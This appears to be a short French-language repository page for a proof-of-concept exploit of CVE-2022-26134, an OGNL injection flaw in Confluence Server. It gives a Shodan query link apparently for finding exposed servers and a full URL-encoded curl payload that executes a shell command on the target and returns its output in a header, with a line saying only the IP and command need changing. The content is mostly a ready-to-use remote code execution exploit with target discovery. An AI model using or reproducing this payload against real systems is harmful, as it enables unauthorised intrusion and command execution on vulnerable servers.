y000o/confluence-cve-2022-26134Exploit de preuve de concept pour CVE-2022-26134 dans Confluence Server, utilisant l'injection OGNL pour exécuter des commandes via des requêtes HTTP forgées.
https://www.shodan.io/search?query=http.favicon.hash%3A-305179312&page=2
curl -v http://10.0.0.247:8090/%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20d%3D%27%27%3Bvar%20i%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B%20while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D/
Vous avez juste besoin de modifier l'IP et la commande.